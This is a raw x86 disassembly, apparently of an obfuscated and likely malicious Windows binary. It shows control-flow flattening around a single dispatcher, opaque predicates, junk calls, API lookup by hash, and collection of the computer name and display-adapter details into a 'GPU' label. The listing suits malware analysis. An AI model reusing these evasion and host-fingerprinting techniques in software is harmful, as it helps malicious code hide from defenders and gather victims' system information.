imul eax, dword [esi + 0xc], 0xd7
add eax, 0x96
imul ecx, eax, 0xd9
imul eax, eax
add ecx, 0x7d
imul edx, eax, 0x7211
shr ecx, 0xd
dec edx
imul ecx, ecx, 0x43
mov dword [esi + 0xc], ecx
mov ecx, 0x74fd6f1f
cmp edx, eax
je 0x444b4a
mov ecx, 0x4dece08a
mov dword [esi + 4], ecx
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 6
lea ecx, [eax*4 + 0x370]
imul eax, eax
imul edx, eax, 0x1f63
dec edx
shr ecx, 0xf
mov dword [esi + 0xc], ecx
mov ecx, 0xc21f4a11
cmp edx, eax
je 0x444b7d
mov ecx, 0xd339d5fe
mov dword [esi + 4], ecx
jmp 0x440ae0
push 0x1c
push dword [esi + 0xa8]
push dword [esi + 0x48]
call fcn.00450060
add esp, 0xc
mov dword [esi + 4], 0xb8442e44
jmp 0x440ae0
mov eax, 2
push eax
push 0x4844e7
push eax
push dword [esi + 0x8c]
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0xb274466f
jmp 0x440ae0
push dword [esi + 0x48]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x44]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov dword [esi + 0x160], eax
mov dword [esi + 4], 0xe1c66a6c
jmp 0x440ae0
push eax
push eax
mov eax, esp
mov dword [esi + 0x68], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x24], eax
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x6c], eax
push eax
mov eax, esp
mov dword [esi + 0x70], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x74], eax
mov dword [esi + 4], 0x87946877
jmp 0x440ae0
mov edi, dword [esi + 8]
mov eax, 0x8b
add edi, eax
mov dword [esi + 8], edi
call fcn.00408e87
mov eax, 0x89c20c5a
cmp edi, 0x89
jb 0x444c5e
mov eax, 0xa7055612
mov dword [esi + 4], eax
jmp 0x440ae0
imul edi, dword [esi + 8], 0xb3
add edi, 0xffff7fd2
mov dword [esi + 8], edi
push edi
call fcn.00440ac8
add esp, 4
mov eax, 0x79c5bcd5
cmp edi, 0x3f
jl 0x444c8e
mov eax, 0xa6bac59b
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 9
lea ecx, [eax - 0xa1]
imul ecx, ecx
imul edx, ecx, 0x3dc9
dec edx
add eax, 0xffffffef
mov dword [esi + 0xc], eax
mov eax, 0x1f87187b
cmp ecx, edx
je 0x444cc0
mov eax, 0xc5c8d49
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x20]
mov dword [esi + 4], 0x519910a8
jmp 0x440ae0
mov edi, dword [esi + 8]
shr edi, 9
and edi, 0x3fffff
mov dword [esi + 8], edi
push 0x576e
push 0x389c
push edi
push 0x568b
call fcn.00447260
add esp, 0x10
call fcn.00408e87
mov eax, 0x707f8d14
cmp edi, 0x9c
jae 0x444d15
mov eax, 0x9fce84d8
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 8], 0x3ac00
add eax, 0xffffff9f
mov dword [esi + 8], eax
mov dword [esi + 4], 0x5b668583
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x1c4000
or eax, 0x9c
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb6e7b0da
jmp 0x440ae0
mov eax, dword [esi + 0x20]
add eax, 0x24
push eax
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x24]
mov dword [esi + 4], 0x6403a008
jmp 0x440ae0
mov eax, dword [esi + 0x1e0]
push dword [esi + 0x24]
call eax
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
shld eax, ecx, 0x16
mov dword [esi + 0x1e4], eax
mov dword [esi + 4], 0x56641982
jmp 0x440ae0
mov eax, dword [esi + 8]
lea edi, [eax*8 - 0x48a]
mov dword [esi + 8], edi
push edi
call fcn.0044629b
add esp, 4
mov eax, 0x4e2ed2c1
cmp edi, 0xa7
jge 0x444dd7
mov eax, 0x5286ace7
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 3
imul edi, eax, 0x3c
add edi, 0x234d
mov dword [esi + 8], edi
call fcn.00408e87
mov eax, 0xde3b9cc
cmp edi, 0x28
jl 0x444e05
mov eax, 0x25465d1b
mov dword [esi + 4], eax
jmp 0x440ae0
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov dword [esi + 0x15c], eax
mov dword [esi + 4], 0x89c20c5a
jmp 0x440ae0
mov ecx, dword [esi + 8]
add ecx, 0x30
mov eax, ecx
shr eax, 5
mov dword [esi + 8], eax
mov eax, 0x5b668583
cmp ecx, 0x1dc0
jae 0x444e4a
mov eax, 0x34436423
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x58]
mov dword [esi + 4], 0x7e0ab08c
jmp 0x440ae0
mov eax, dword [esi + 0xf0]
mov ecx, dword [0x4845f4]
mov dword [eax + 8], ecx
mov ecx, dword [0x4845f0]
mov dword [eax + 4], ecx
mov ecx, dword [0x4845ec]
mov dword [eax], ecx
mov dword [esi + 4], 0xedc0f362
jmp 0x440ae0
mov ebx, dword [esi + 8]
shl ebx, 8
mov edi, 0x1e2955ff
add ebx, 0xfffec700
mov dword [esi + 8], ebx
je 0x444ea8
mov edi, 0x2231c25
push ebx
push 0x5f81
push 0x54ef
call fcn.0042e7cb
add esp, 0xc
push ebx
call fcn.0044629b
add esp, 4
mov dword [esi + 4], edi
jmp 0x440ae0
mov eax, dword [esi + 8]
mov ebx, eax
shl ebx, 7
sub ebx, eax
sub ebx, eax
add ebx, 0x187
mov dword [esi + 8], ebx
call fcn.00408e87
push ebx
push 0x5a44
push 0x55aa
push 0x2b6e
call fcn.00447260
add esp, 0x10
mov eax, 0x9e9f1ead
cmp ebx, 0x1d
je 0x444f0d
mov eax, 0x461f581b
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 8], 0x5800
or eax, 0x21
imul edi, eax, 0xe2
add edi, 0xffffffcf
mov dword [esi + 8], edi
call fcn.00408e87
push 0x103d
push 0x393f
push edi
push 0x541
call fcn.00447260
add esp, 0x10
mov dword [esi + 4], 0x39fa3476
jmp 0x440ae0
mov eax, dword [esi + 0xac]
mov byte [eax + 0x17], 0
mov dword [esi + 4], 0x4c75140d
jmp 0x440ae0
push 0x18
push 0x4780c0
push dword [esi + 0xf4]
call fcn.00450060
add esp, 0xc
push 5
push 0x4780d8
push 0xc
push dword [esi + 0xf4]
call fcn.00447260
add esp, 0x10
push dword [esi + 0xf4]
push 0x5f086d32
call fcn.0044b10c
add esp, 8
mov dword [esi + 0x1e0], eax
mov dword [esi + 4], 0x3080e2d3
jmp 0x440ae0
push 0x14
push 0x478020
push dword [esi + 0x7c]
call fcn.00450060
add esp, 0xc
push 6
push 0x478034
push 0xa
push dword [esi + 0x7c]
call fcn.00447260
add esp, 0x10
push dword [esi + 0x7c]
push 0x3d95e230
call fcn.0044b10c
add esp, 8
push 1
call eax
mov dword [esi + 0x128], eax
mov dword [esi + 4], 0x2231c25
jmp 0x440ae0
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x7c], eax
mov eax, dword [esi + 0x7c]
mov word [eax + 0x14], 0
mov dword [esi + 4], 0xe9975444
jmp 0x440ae0
push dword [esi + 0x104]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov dword [esi + 0x188], eax
mov dword [esi + 4], 0x8c6092d4
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x7cb0
add eax, 0xfffd13e0
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xbddb934c
jmp 0x440ae0
mov eax, dword [esi + 0xc]
add eax, 0xfffffffc
imul ecx, eax, 0xfc
imul eax, eax
imul edx, eax, 0x325d
dec edx
shr ecx, 7
and ecx, 0xffffffe0
add ecx, 0xffffe120
mov dword [esi + 0xc], ecx
mov ecx, 0xd4b78af1
cmp edx, eax
je 0x4450a1
mov ecx, 0xf8e559fe
mov dword [esi + 4], ecx
jmp 0x440ae0
mov ecx, dword [esi + 8]
mov eax, 0xf0
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0x2d53bf60
cmp ecx, 0x97
jge 0x4450c8
mov eax, 0x6023b85b
mov dword [esi + 4], eax
jmp 0x440ae0
imul ecx, dword [esi + 8], 0xf7
sub ecx, 0xffffff80
mov dword [esi + 8], ecx
mov eax, 0xd339d5fe
cmp ecx, 0xb7
jge 0x4450ef
mov eax, 0x533249d2
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x18]
mov dword [esi + 4], 0x3c1ff867
jmp 0x440ae0
mov eax, dword [esi + 8]
shl eax, 0xe
add eax, 0xfffffdec
mov dword [esi + 8], eax
mov dword [esi + 4], 0xbddb934c
jmp 0x440ae0
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xfc], eax
mov dword [esi + 4], 0x3ed8f8cf
jmp 0x440ae0
mov eax, dword [esi + 8]
shl eax, 0xa
or eax, 0xcc
mov dword [esi + 8], eax
mov dword [esi + 4], 0xe9975444
jmp 0x440ae0
mov edi, dword [esi + 8]
mov eax, 0xa1
add edi, eax
mov dword [esi + 8], edi
push edi
push 0x32f
push 0x5fc1
push 0x1cd9
call fcn.00447380
add esp, 0x10
mov eax, 0x79c5bcd5
cmp edi, 0xba
jge 0x445189
mov eax, 0xc0a7ca6d
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 8]
shl eax, 0x1c
add eax, 0x90000000
mov dword [esi + 8], eax
call fcn.00408e87
mov dword [esi + 4], 0x909d14cd
jmp 0x440ae0
push 2
push 0x55
call fcn.004600e3
add esp, 8
mov dword [esi + 0x114], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xb8], eax
mov eax, dword [esi + 0xb8]
add eax, 0x18
mov dword [esi + 0x190], eax
mov dword [esi + 4], 0x1f096957
jmp 0x440ae0
mov ebx, dword [esi + 8]
shl ebx, 7
add ebx, 0xffffff6e
shr ebx, 8
mov dword [esi + 8], ebx
push ebx
push 0x3d6f
push 0x3bdf
push 0x1980
call fcn.00447260
add esp, 0x10
push 0x5c78
push 0x515c
push 0x169a
push ebx
call fcn.00447260
add esp, 0x10
mov eax, 0x2231c25
cmp ebx, 0x23
je 0x445239
mov eax, 0x79ae4a35
mov dword [esi + 4], eax
jmp 0x440ae0
mov dword [esi + 4], 0x79ae4a35
jmp 0x440ae0
push dword [esi + 0x18]
push dword [esi + 0x34]
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi + 4], 0xb1fcd5fe
jmp 0x440ae0
mov eax, dword [esi + 8]
mov ecx, 0xcb
add eax, ecx
shr eax, 0xa
add eax, 0xcc
mov dword [esi + 8], eax
push eax
call fcn.00440ac8
add esp, 4
mov dword [esi + 4], 0x4b79651c
jmp 0x440ae0
push dword [esi + 0x108]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0xb9650f70
jmp 0x440ae0
imul edi, dword [esi + 8], 0x3af8
add edi, 0x193c
mov dword [esi + 8], edi
push 0x106d
push edi
push 0x5c28
call fcn.0042e7cb
add esp, 0xc
push 0x575d
push edi
push 0x2720
call fcn.0042e7cb
add esp, 0xc
mov eax, 0x5e20d2cc
cmp edi, 0x89
jb 0x4452f6
mov eax, 0x1936181b
mov dword [esi + 4], eax
jmp 0x440ae0
imul ecx, dword [esi + 8], 0x66
mov eax, ecx
shr eax, 0xa
mov dword [esi + 8], eax
mov eax, 0x8bf3e645
cmp ecx, 0x36000
jae 0x44531c
mov eax, 0x9ef395ad
mov dword [esi + 4], eax
jmp 0x440ae0
mov ebx, dword [esi + 8]
shl ebx, 9
mov edi, 0x87e40702
and ebx, 0x1ffffe00
mov dword [esi + 8], ebx
je 0x44533f
mov edi, 0x8bc94a5
push 0x345a
push 0x6006
push 0x2967
push ebx
call fcn.00447380
add esp, 0x10
push ebx
push 0x4a8a
push 0x10e3
call fcn.0042e7cb
add esp, 0xc
mov dword [esi + 4], edi
jmp 0x440ae0
push eax
push eax
mov eax, esp
mov dword [esi + 0x28], eax
push eax
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x30], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x34], eax
push eax
mov eax, esp
mov dword [esi + 0x18], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x38], eax
mov dword [esi + 4], 0xe544d742
jmp 0x440ae0
mov dword [esi + 4], 0xb296c61
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 5
imul eax, eax, 0xe8000
add eax, 0x3e88000
mov dword [esi + 8], eax
mov dword [esi + 4], 0x20ed5b0e
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x69800
add eax, 0xffffb5d2
shr eax, 9
add eax, 0x41
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xef7c14c1
jmp 0x440ae0
mov dword [esi + 4], 0x4dcbe325
jmp 0x440ae0
mov ecx, dword [esi + 8]
shr ecx, 1
and ecx, 0xfffffff
mov dword [esi + 8], ecx
mov eax, 0x34436423
cmp ecx, 0x3e
jb 0x445422
mov eax, 0xd339d5fe
mov dword [esi + 4], eax
jmp 0x440ae0
movzx edi, byte [esi + 0xb]
add edi, 0xffffff08
mov eax, edi
shr eax, 8
mov dword [esi + 8], eax
push 0x5ecf
push 0x32a3
push eax
push 0x285
call fcn.00447380
add esp, 0x10
mov eax, 0xa7055612
cmp edi, 0xe200
jb 0x445466
mov eax, 0x931aa3fe
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 8], 0x7d000
mov edi, 0xabf6196f
add eax, 0xfd391000
mov dword [esi + 8], eax
je 0x445489
mov edi, 0x81649d46
call fcn.00408e87
mov dword [esi + 4], edi
jmp 0x440ae0
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x78], eax
mov dword [esi + 4], 0x52c0094f
jmp 0x440ae0
mov eax, dword [esi + 0x154]
push dword [esi + 0x2c]
push dword [esi + 0x10c]
call eax
mov eax, dword [esi + 0x30]
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0x9c]
mov byte [eax + 8], 0
mov eax, dword [esi + 0x9c]
mov ecx, dword [0x4844f7]
mov dword [eax + 4], ecx
mov ecx, dword [0x4844f3]
mov dword [eax], ecx
push 7
push 0x4844fb
push 8
push dword [esi + 0x9c]
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0x9e2fa6d3
jmp 0x440ae0
imul ebx, dword [esi + 8], 0x7602
mov edi, ebx
shr edi, 0xd
add edi, 0x93
shr edi, 0xa
mov dword [esi + 8], edi
push 0x879
push 0x4890
push 0x2dab
push edi
call fcn.00447380
add esp, 0x10
push edi
call fcn.0044629b
add esp, 4
mov eax, 0x3ab64d2a
cmp ebx, 0x60eda000
jb 0x445559
mov eax, 0xa69ad210
mov dword [esi + 4], eax
jmp 0x440ae0
mov edi, dword [esi + 8]
shl edi, 0xf
add edi, 0xfffd0000
mov eax, edi
shr eax, 3
mov dword [esi + 8], eax
call fcn.00408e87
mov eax, 0xd339d5fe
test edi, edi
je 0x445588
mov eax, 0x5ead8a11
mov dword [esi + 4], eax
jmp 0x440ae0
imul ebx, dword [esi + 8], 0x410
add ebx, 0x5960
shr ebx, 7
and ebx, 0x1ffff00
or ebx, 0xe5
mov dword [esi + 8], ebx
push 0x448a
push ebx
push 0x1c6f
push 0x4f9c
call fcn.00447260
add esp, 0x10
push 0x1349
push 0x1c21
push 0x16e5
push ebx
call fcn.00447260
add esp, 0x10
mov dword [esi + 4], 0x742e0221
jmp 0x440ae0
mov eax, dword [esi + 0xc]
lea eax, [eax + eax*8]
shl eax, 7
add eax, 0xffffffb1
shr eax, 5
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x5d54c426
jmp 0x440ae0
mov eax, dword [esi + 0x60]
mov ecx, dword [esi + 0xbc]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x60]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0x3d4662e1
jmp 0x440ae0
mov edi, dword [esi + 8]
mov ebx, edi
shr ebx, 0x10
mov dword [esi + 8], ebx
call fcn.00408e87
push 0x48b3
push 0x3375
push ebx
call fcn.0042e7cb
add esp, 0xc
mov eax, 0xc99362eb
cmp edi, 0xfc0000
jae 0x445677
mov eax, 0xe9f6d0e6
mov dword [esi + 4], eax
jmp 0x440ae0
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x88]
mov byte [eax + 0xf], 0
mov dword [esi + 4], 0x4fa8551d
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 7
imul ecx, eax, 0x9b
imul eax, eax
imul edx, eax, 0x257
dec edx
add ecx, 0x73
mov dword [esi + 0xc], ecx
mov ecx, 0x7e588e9a
cmp edx, eax
je 0x4456cb
mov ecx, 0x528e5eee
mov dword [esi + 4], ecx
jmp 0x440ae0
push 0x55
push dword [esi + 0x114]
push dword [esi + 0x118]
call fcn.0046247f
add esp, 0xc
mov eax, dword [esi + 0x60]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xbc], eax
mov dword [esi + 4], 0xc0f7ff5d
jmp 0x440ae0
mov eax, dword [esi + 0x94]
movzx ecx, word [0x4844ed]
mov word [eax + 4], cx
mov ecx, dword [0x4844e9]
mov dword [eax], ecx
mov dword [esi + 4], 0xf2c135a5
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 1
imul edi, eax, 0x2e000
mov dword [esi + 8], edi
push 0x199f
push 0x344f
push 0x3505
push edi
call fcn.00447260
add esp, 0x10
mov eax, 0xf85fb342
test edi, edi
je 0x44575c
mov eax, 0x5b668583
mov dword [esi + 4], eax
jmp 0x440ae0
mov edi, dword [esi + 8]
shl edi, 3
and edi, 0x1ffffe0
mov dword [esi + 8], edi
call fcn.00408e87
push 0x9c3
push 0xc05
push edi
call fcn.0042e7cb
add esp, 0xc
mov eax, 0x4b427871
cmp edi, 0xb0
jb 0x44579d
mov eax, 0x6bbfb69a
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 8]
shl eax, 7
add eax, 0x5f94
mov dword [esi + 8], eax
mov dword [esi + 4], 0x9ef395ad
jmp 0x440ae0
mov dword [esi + 4], 0x25465d1b
jmp 0x440ae0
imul edi, dword [esi + 8], 0x65000
add edi, 0xffffe78a
mov ebx, edi
shr ebx, 0x13
mov dword [esi + 8], ebx
push 0x22dc
push ebx
push 0x4bf7
push 0x5b5f
call fcn.00447380
add esp, 0x10
push ebx
call fcn.00440ac8
add esp, 4
mov eax, 0xd8513493
cmp edi, 0x7080000
jae 0x445813
mov eax, 0xc779cb23
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 8], 0x95
add eax, 0xffff6fd9
shr eax, 2
imul edi, eax, 0x57
mov dword [esi + 8], edi
push 0x1fd
push 0x3d7c
push edi
call fcn.0042e7cb
add esp, 0xc
push edi
call fcn.0044629b
add esp, 4
mov eax, 0x1347eb9c
cmp edi, 0xd8
jae 0x44585e
mov eax, 0x679d3030
mov dword [esi + 4], eax
jmp 0x440ae0
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x80], eax
mov eax, dword [esi + 0x80]
mov byte [eax + 0xf], 0
push 0xf
push 0x4844ac
push dword [esi + 0x80]
call fcn.00450060
add esp, 0xc
mov dword [esi + 4], 0xa10ace44
jmp 0x440ae0
mov ecx, dword [esi + 8]
shl ecx, 5
or ecx, 0x1b
mov dword [esi + 8], ecx
mov eax, 0x5b668583
cmp ecx, 0x44
jae 0x4458b8
mov eax, 0xb296c61
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0xb2
shr eax, 8
add eax, 0x24
mov ecx, eax
shl ecx, 4
lea ecx, [ecx + ecx*8]
imul eax, eax
imul edx, eax, 0x60bd
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x59d26614
cmp edx, eax
je 0x4458f0
mov ecx, 0x16690ac7
mov dword [esi + 4], ecx
jmp 0x440ae0
imul eax, dword [esi + 8], 0xa14a9
shr eax, 6
imul eax, eax, 0xda
mov dword [esi + 8], eax
mov dword [esi + 4], 0x16690ac7
jmp 0x440ae0
mov ecx, dword [esi + 8]
add ecx, 0xffffffab
mov dword [esi + 8], ecx
mov eax, 0x2d26e45e
cmp ecx, 0x21
jb 0x44592f
mov eax, 0x8a146f18
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x8ae00000
or eax, 0xa5
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb5a096ce
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 0xb
imul edi, eax, 0x64
lea eax, [edi - 0x2f]
mov dword [esi + 8], eax
push eax
call fcn.00440ac8
add esp, 4
mov eax, 0x34436423
cmp edi, 0xf7
jb 0x44597c
mov eax, 0x8ba168fd
mov dword [esi + 4], eax
jmp 0x440ae0
push dword [esi + 0x168]
push dword [esi + 0x170]
push dword [esi + 0x174]
push dword [esi + 0x17c]
push dword [esi + 0xb0]
push 0x7ff
push dword [esi + 0x110]
call fcn.0042e7cb
add esp, 0x1c
mov dword [esi + 4], 0xd4b796f7
jmp 0x440ae0
mov eax, dword [esi + 0xf4]
mov word [eax + 0x18], 0
mov dword [esi + 4], 0xe8fcf2a1
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 0x12
and eax, 7
mov dword [esi + 8], eax
push eax
call fcn.0044629b
add esp, 4
mov dword [esi + 4], 0x23027298
jmp 0x440ae0
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xdc]
mov dword [esi + 0x1bc], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b0]
mov dword [eax + 0x10], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b4]
mov dword [eax + 0x14], ecx
mov dword [esi + 4], 0x48fbba78
jmp 0x440ae0
mov ecx, dword [esi + 0xc]
mov eax, ecx
shr eax, 8
shr ecx, 0xd
imul eax, eax
imul ecx, ecx, 0xd0
imul edx, eax, 0x66af
dec edx
shr ecx, 0xd
mov dword [esi + 0xc], ecx
mov ecx, 0x24ebbde0
cmp eax, edx
je 0x445a6b
mov ecx, 0x5a2b3fc9
mov dword [esi + 4], ecx
jmp 0x440ae0
imul ebx, dword [esi + 8], 0x2a
add ebx, 0xfffff262
mov edi, ebx
shr edi, 6
mov dword [esi + 8], edi
push edi
push 0x2b1d
push 0x4d48
push 0xd40
call fcn.00447380
add esp, 0x10
push 0x1006
push edi
push 0x1628
push 0xc99
call fcn.00447380
add esp, 0x10
mov eax, 0x1fcb6de5
cmp ebx, 0x2400
jb 0x445ac7
mov eax, 0x5101437e
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x140]
mov ecx, dword [esi + 0x8c]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
push 1
push 0x8000
call fcn.004600e3
add esp, 8
mov dword [esi + 0x108], eax
mov dword [esi + 4], 0xc74ee642
jmp 0x440ae0
mov ecx, dword [esi + 8]
shr ecx, 1
and ecx, 0xfffffffe
mov dword [esi + 8], ecx
mov eax, 0x5ead8a11
cmp ecx, 0x92
jae 0x445b25
mov eax, 0xc5f299bf
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x18c]
mov word [eax], 0xa
mov dword [esi + 4], 0x68b1d8d0
jmp 0x440ae0
mov eax, dword [esi + 0xc]
mov ecx, 0xb5
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2863
shl eax, 4
and eax, 0x3fffff0
dec edx
add eax, 0xffffff9f
mov dword [esi + 0xc], eax
mov eax, 0x6255cc27
cmp ecx, edx
je 0x445b76
mov eax, 0xbaeb7a37
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, 8
push eax
push 0x4845ac
push eax
push dword [esi + 0xb4]
call fcn.00447380
add esp, 0x10
mov eax, dword [esi + 0x58]
mov ecx, dword [esi + 0xb4]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x58]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
call fcn.0042df91
push eax
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x5c]
sub esp, 0x18
mov edi, esp
mov byte [edi + 0x14], 0
mov ebx, 0x14
push ebx
push 0x4845c0
push edi
call fcn.00450060
add esp, 0xc
push 4
push 0x4845d4
push ebx
push edi
call fcn.00447380
add esp, 0x10
push 0x15
push edi
push dword [esi + 0x5c]
call fcn.00450060
add esp, 0xc
mov dword [esi + 4], 0xa6d1d8ea
jmp 0x440ae0
mov eax, dword [esi + 8]
lea ecx, [eax + eax*4]
lea edi, [eax + ecx*2]
add edi, 0x77a
mov dword [esi + 8], edi
push 0x1951
push 0x3d3c
push 0x4316
push edi
call fcn.00447260
add esp, 0x10
push 0x2755
push 0x3c4e
push edi
call fcn.0042e7cb
add esp, 0xc
mov eax, 0xcbc2eb54
cmp edi, 0xf
jge 0x445c7b
mov eax, 0x2a354784
mov dword [esi + 4], eax
jmp 0x440ae0
mov dword [esi + 4], 0xa3760a82
jmp 0x440ae0
mov dword [esi + 4], 0x446e549
jmp 0x440ae0
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x60]
mov dword [esi + 4], 0x6f47770e
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 0xe
imul eax, eax, 0xdc
add eax, 0x3a70
mov dword [esi + 8], eax
push eax
push 0x1f47
push 0x4d04
push 0x1ff4
call fcn.00447260
add esp, 0x10
mov dword [esi + 4], 0xf4563577
jmp 0x440ae0
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x58], eax
mov dword [esi + 4], 0x5ead8a11
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 1
add eax, 0x25
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5c7f
shl eax, 0xf
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x9ef395ad
cmp ecx, edx
je 0x445d45
mov eax, 0x231b4d6
mov dword [esi + 4], eax
jmp 0x440ae0
mov dword [esi + 4], 0x311b76a0
jmp 0x440ae0
mov eax, dword [esi + 0x68]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
mov dword [esi + 4], 0x7362c2eb
jmp 0x440ae0
push dword [esi + 0x50]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x4c]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0xea8c8821
jmp 0x440ae0
mov eax, dword [esi + 0x1dc]
mov word [eax], 0xa
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x20]
add eax, 4
push 0x1a4
xor edi, edi
push edi
push eax
call fcn.00450b60
add esp, 0xc
mov eax, dword [esi + 0x20]
mov dword [eax], 0x1a8
push edi
push dword [esi + 0x20]
push edi
push edi
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov eax, dword [esi + 0x68]
mov dword [esi + 4], 0x9c866ef3
jmp 0x440ae0
mov eax, dword [esi + 0x74]
mov dword [esi + 4], 0x34ea88bc
jmp 0x440ae0
mov eax, dword [esi + 0x5c]
mov dword [esi + 4], 0x5bb238ad
jmp 0x440ae0
mov eax, dword [esi + 0xc]
mov ecx, 0xfffffff
and eax, ecx
lea eax, [eax*4 - 0x150]
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8a159cd1
jmp 0x440ae0
push dword [esi + 0x18]
push dword [esi + 0x4c]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi + 4], 0xce740087
jmp 0x440ae0
imul ebx, dword [esi + 8], 0xcd
add ebx, 0x52
shr ebx, 8
mov dword [esi + 8], ebx
push ebx
push 0x534a
push 0x2140
push 0x1631
call fcn.00447380
add esp, 0x10
push 0x50b4
push 0x27cc
push 0x6237
push ebx
call fcn.00447260
add esp, 0x10
mov eax, 0x5ca5926
cmp ebx, 0xe2
je 0x445ea4
mov eax, 0xfc6459f5
mov dword [esi + 4], eax
jmp 0x440ae0
mov dword [esi + 4], 0x435a0da4
jmp 0x440ae0
